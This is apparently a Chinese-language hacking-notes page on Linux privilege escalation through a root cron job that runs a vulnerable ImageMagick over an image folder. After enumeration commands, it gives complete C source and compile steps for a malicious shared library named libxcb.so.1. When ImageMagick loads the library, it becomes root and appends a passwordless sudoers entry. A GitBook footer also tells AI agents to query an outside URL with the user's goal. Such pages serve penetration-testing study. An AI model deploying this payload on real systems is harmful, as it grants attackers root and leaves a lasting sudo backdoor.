> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/cron-jobs/imagemagick-cron-abuse-linux-privilege-escalation.md).

# ImageMagick Cron 滥用 - Linux 权限提升

Cron 任务 - ImageMagick 利用笔记，包含枚举步骤、利用示例和面向报告的验证。

## 这是什么

当重复执行的 root 任务运行可写脚本、不安全的相对路径或存在漏洞的处理器时，Cron 任务会创建提权路径。关键在于证明低权限用户控制着某个高权限计划任务将要运行的内容。本页重点介绍 **Cron 任务 - ImageMagick 利用** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。

## 枚举

在运行利用路径之前，先确认本地环境和具体的配置错误。

```bash
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers --all
```

## 示例

在 `/opt/`，你可以找到一个 `script.sh` 自动执行的脚本

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-405dd69316382e6676db340d810cdbbbba7e8e98%2Fimage%20(591).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
```

> 这个 Shell 脚本首先切换到 `/opt/app/static/assets/images` 文件夹，然后清空 `metadata.log` 该文件（如果存在）。然后，它会搜索所有 `.jpg` 该目录中的文件，并使用 ImageMagick 的 `identify` 命令提取它们的元数据（大小、格式、颜色深度等）。然后，这些信息会存储在 `metadata.log`。因此，此脚本会为指定文件夹中的所有 JPG 图像生成一个更新后的元数据文件。

该脚本使用 **ImageMagick**，这是一个存在漏洞的版本。

```bash
magicks --version
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81c5d780bb64c99840c1b2a9bed084fcb66291a6%2Fimage%20(592).png?alt=media" alt=""><figcaption></figcaption></figure>

### 通过……进行利用 `LD_PRELOAD`

我们创建一个 `a.c` 文件：

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}
```

编译：

```bash
gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4dad16b3523735bf8c1ff264a1e488284f30be4e%2Fimage%20(597).png?alt=media" alt=""><figcaption></figcaption></figure>

它被添加到由……监控并可执行的目录中 `ImageMagick`。然后我们执行：

```bash
su root
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c322efb2330af5e3e434dfd76d322911542b0765%2Fimage%20(598).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/cron-jobs/imagemagick-cron-abuse-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
